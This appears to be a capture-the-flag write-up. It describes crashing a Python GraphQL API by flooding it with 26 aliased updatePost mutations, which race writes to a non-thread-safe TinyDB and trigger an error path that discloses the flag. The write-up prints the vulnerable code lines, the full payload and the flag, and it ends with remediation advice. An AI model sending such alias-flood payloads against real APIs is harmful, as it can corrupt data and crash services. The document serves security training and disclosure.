December '25

API-Crash via GraphQL Alias Abuse

Description

A new API has been released. The developers are pretty proud of what they have created. I was tasked to test that API for potential flaws.

The code for the API is written in Python and uses a GraphQL structure. TinyDB is being used for the database.

PoC

The payload that causes the problem is a GraphQL based payload with the extensive use of aliases.

Methodology

In the Python code my eye immediately caught the line

if result.errors:
        posts = json.dumps({"FLAG": os.environ["FLAG"]}, indent=2)

This line means that if I'm be able to crash the application, the flag will be disclosed.

However the payload

query {
    IDontExist
}

would not work because of this line of code directly after the processing of the potential malicious user input.

result = schema.execute("{ getPosts { id content } }")

To trigger the flag disclosure, it was necessary to cause an error during the subsequent getPosts execution. This can be achieved by corrupting the underlying TinyDB state before the second query is executed.

# Wait for all GraphQL processes to finish
    for t in threads:
        t.join()

I knew I had to create some sort of race condition that races to write files to make the app crash there. This could work because TinyDB isn't thread-safe which can lead to runtime errors.

So the payload I created consists of multiple aliases doing the same thing. Because the application waits for all spawned threads to complete, the corrupted database state is guaranteed to be present when getPosts is executed, resulting in an error that triggers the flag disclosure logic.

Payload

{
a:updatePost(id: 1, content: "someContent")
b:updatePost(id: 1, content: "someContent")
c:updatePost(id: 1, content: "someContent")
d:updatePost(id: 1, content: "someContent")
e:updatePost(id: 1, content: "someContent")
f:updatePost(id: 1, content: "someContent")
g:updatePost(id: 1, content: "someContent")
h:updatePost(id: 1, content: "someContent")
i:updatePost(id: 1, content: "someContent")
j:updatePost(id: 1, content: "someContent")
k:updatePost(id: 1, content: "someContent")
l:updatePost(id: 1, content: "someContent")
m:updatePost(id: 1, content: "someContent")
n:updatePost(id: 1, content: "someContent")
o:updatePost(id: 1, content: "someContent")
p:updatePost(id: 1, content: "someContent")
q:updatePost(id: 1, content: "someContent")
r:updatePost(id: 1, content: "someContent")
s:updatePost(id: 1, content: "someContent")
t:updatePost(id: 1, content: "someContent")
u:updatePost(id: 1, content: "someContent")
v:updatePost(id: 1, content: "someContent")
w:updatePost(id: 1, content: "someContent")
x:updatePost(id: 1, content: "someContent")
y:updatePost(id: 1, content: "someContent")
z:updatePost(id: 1, content: "someContent")
}

Sending this payload resulted in the crash of the app, and in the error message, I could retrieve the flag.

Flag

FLAG{M4ke_It_Cr4sh_Th3y_Sa1d?!}

Remidiation

My recommandations consists out of the following adaptations of the code:

• At the very least, restrict the amount of allowed aliases.

• Disallow aliases on state-changing operations (mutations).

• Use a database that can handle multi-thread.